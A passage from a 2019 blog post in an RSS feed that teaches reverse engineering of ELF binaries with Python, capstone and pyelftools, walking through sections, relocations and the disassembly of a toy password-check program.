2574<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
2575
2576<p>With that out of the way, let’s start with an example of a basic reversing
2577challenge.</p>
2578
2579<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
2580
2581<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
2582<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
2583<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
2584
2585<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
2586 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
2587 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
2588 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
2589 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
2590 <span class="p">}</span>
2591 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
2592 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
2593 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
2594 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
2595 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
2596 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2597 <span class="p">}</span>
2598 <span class="k">else</span> <span class="p">{</span>
2599 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2600 <span class="p">}</span>
2601<span class="p">}</span>
2602</code></pre></div>
2603
2604<p>Compile it with GCC/Clang:</p>
2605
2606<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
2607</code></pre></div>
2608
2609<h2 id="scripting">Scripting</h2>
2610
2611<p>For starters, let’s look at the different sections present in the binary.</p>
2612
2613<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
2614
2615<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2616
2617<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2618 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2619 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2620 <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
2621</code></pre></div>
2622
2623<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
2624
2625<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
2626<span class="go">0x238 .interp</span>
2627<span class="go">0x254 .note.ABI-tag</span>
2628<span class="go">0x274 .note.gnu.build-id</span>
2629<span class="go">0x298 .gnu.hash</span>
2630<span class="go">0x2c0 .dynsym</span>
2631<span class="go">0x3e0 .dynstr</span>
2632<span class="go">0x484 .gnu.version</span>
2633<span class="go">0x4a0 .gnu.version_r</span>
2634<span class="go">0x4c0 .rela.dyn</span>
2635<span class="go">0x598 .rela.plt</span>
2636<span class="go">0x610 .init</span>
2637<span class="go">0x630 .plt</span>
2638<span class="go">0x690 .plt.got</span>
2639<span class="go">0x6a0 .text</span>
2640<span class="go">0x8f4 .fini</span>
2641<span class="go">0x900 .rodata</span>
2642<span class="go">0x924 .eh_frame_hdr</span>
2643<span class="go">0x960 .eh_frame</span>
2644<span class="go">0x200d98 .init_array</span>
2645<span class="go">0x200da0 .fini_array</span>
2646<span class="go">0x200da8 .dynamic</span>
2647<span class="go">0x200f98 .got</span>
2648<span class="go">0x201000 .data</span>
2649<span class="go">0x201010 .bss</span>
2650<span class="go">0x0 .comment</span>
2651<span class="go">0x0 .symtab</span>
2652<span class="go">0x0 .strtab</span>
2653<span class="go">0x0 .shstrtab</span>
2654</code></pre></div>
2655
2656<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
2657
2658<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
2659
2660<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
2661
2662<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2663<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
2664
2665<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2666 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2667 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
2668 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
2669 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
2670 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
2671 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
2672 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'0x</span><span class="si">{i.address:x}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{i.mnemonic}</span><span class="se">\t</span><span class="si">{i.op_str}</span><span class="s1">'</span><span class="p">)</span>
2673</code></pre></div>
2674
2675<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
2676
2677<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
2678<span class="go">0x6a0: xor ebp, ebp</span>
2679<span class="go">0x6a2: mov r9, rdx</span>
2680<span class="go">0x6a5: pop rsi</span>
2681<span class="go">0x6a6: mov rdx, rsp</span>
2682<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
2683<span class="go">0x6ad: push rax</span>
2684<span class="go">0x6ae: push rsp</span>
2685<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
2686<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
2687<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
2688<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
2689<span class="go">0x6ca: hlt</span>
2690<span class="go">... snip ...</span>
2691</code></pre></div>
2692
2693<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
2694
2695<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
2696
2697<blockquote>
2698 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
2699</blockquote>
2700
2701<p>To try and find these relocation entries, we write a third script.</p>
2702
2703<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
2704
2705<span class="kn">import</span> <span class="nn">sys</span>
2706<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2707<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
2708
2709<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2710 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2711 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2712 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
2713 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{section.name}</span><span class="s1">:'</span><span class="p">)</span>
2714 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
2715 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
2716 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
2717 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
2718 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{symbol.name}</span><span class="s1"> </span><span class="si">{addr}</span><span class="s1">'</span><span class="p">)</span>
2719</code></pre></div>
2720
2721<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
2722
2723<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
2724<span class="go">.rela.dyn:</span>
2725<span class="go"> 0x200d98</span>
2726<span class="go"> 0x200da0</span>
2727<span class="go"> 0x201008</span>
2728<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
2729<span class="go">**__libc_start_main 0x200fe0**</span>
2730<span class="go">__gmon_start__ 0x200fe8</span>
2731<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
2732<span class="go">__cxa_finalize 0x200ff8</span>
2733<span class="go">stdin 0x201010</span>
2734<span class="go">.rela.plt:</span>
2735<span class="go">puts 0x200fb0</span>
2736<span class="go">printf 0x200fb8</span>
2737<span class="go">fgets 0x200fc0</span>
2738<span class="go">strcmp 0x200fc8</span>
2739<span class="go">malloc 0x200fd0</span>
2740</code></pre></div>
2741
2742<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
2743
2744<blockquote>
2745 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
2746</blockquote>
2747
2748<p>And its definition is like so</p>
2749
2750<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
2751<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
2752<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2753<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2754<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2755<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
2756</code></pre></div>
2757
2758<p>Looking back at our disassembly</p>
2759
2760<pre><code>0x6a0: xor ebp, ebp
27610x6a2: mov r9, rdx
27620x6a5: pop rsi
27630x6a6: mov rdx, rsp
27640x6a9: and rsp, 0xfffffffffffffff0
27650x6ad: push rax
27660x6ae: push rsp
27670x6af: lea r8, [rip + 0x23a]
27680x6b6: lea rcx, [rip + 0x1c3]
2769**0x6bd: lea rdi, [rip + 0xe6]**
27700x6c4: call qword ptr [rip + 0x200916]
27710x6ca: hlt
2772... snip ...
2773</code></pre>
2774
2775<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
2776
2777<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
2778
2779<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
2780
2781<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
2782
2783<pre><code>printf 0x650
2784fgets 0x660
2785strcmp 0x670
2786malloc 0x680
2787</code></pre>
2788
2789<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
2790
2791<pre><code>0x7b2: mov edi, 0xa ; 10
27920x7b7: call 0x680 ; malloc
2793</code></pre>
2794
2795<p>The loop to populate the <code>*pw</code> string</p>
2796
2797<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
27980x7d3: cdqe
27990x7d5: lea rdx, [rax - 1]
28000x7d9: mov rax, qword ptr [rbp - 0x10]
28010x7dd: add rax, rdx
28020x7e0: movzx eax, byte ptr [rax]
28030x7e3: lea ecx, [rax + 1]
28040x7e6: mov eax, dword ptr [rbp - 0x14]
28050x7e9: movsxd rdx, eax
28060x7ec: mov rax, qword ptr [rbp - 0x10]
28070x7f0: add rax, rdx
28080x7f3: mov edx, ecx
28090x7f5: mov byte ptr [rax], dl
28100x7f7: add dword ptr [rbp - 0x14], 1
28110x7fb: cmp dword ptr [rbp - 0x14], 8
28120x7ff: jle 0x7d0
2813</code></pre>
2814
2815<p>And this looks like our <code>strcmp()</code></p>
2816
2817<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
28180x847: mov rax, qword ptr [rbp - 8] ; *pw
28190x84b: mov rsi, rdx
28200x84e: mov rdi, rax
28210x851: call 0x670 ; strcmp
28220x856: test eax, eax ; is = 0?
28230x858: jne 0x868 ; no? jump to 0x868
28240x85a: lea rdi, [rip + 0xae] ; "haha yes!"
28250x861: call 0x640 ; puts
28260x866: jmp 0x874
28270x868: lea rdi, [rip + 0xaa] ; "nah dude"
28280x86f: call 0x640 ; puts
2829</code></pre>
2830
2831<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
2832
2833<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
2834
2835<h2 id="conclusion">Conclusion</h2>
2836
2837<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
2838
2839<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
2840
2841<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p>
2842]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
2843</rss>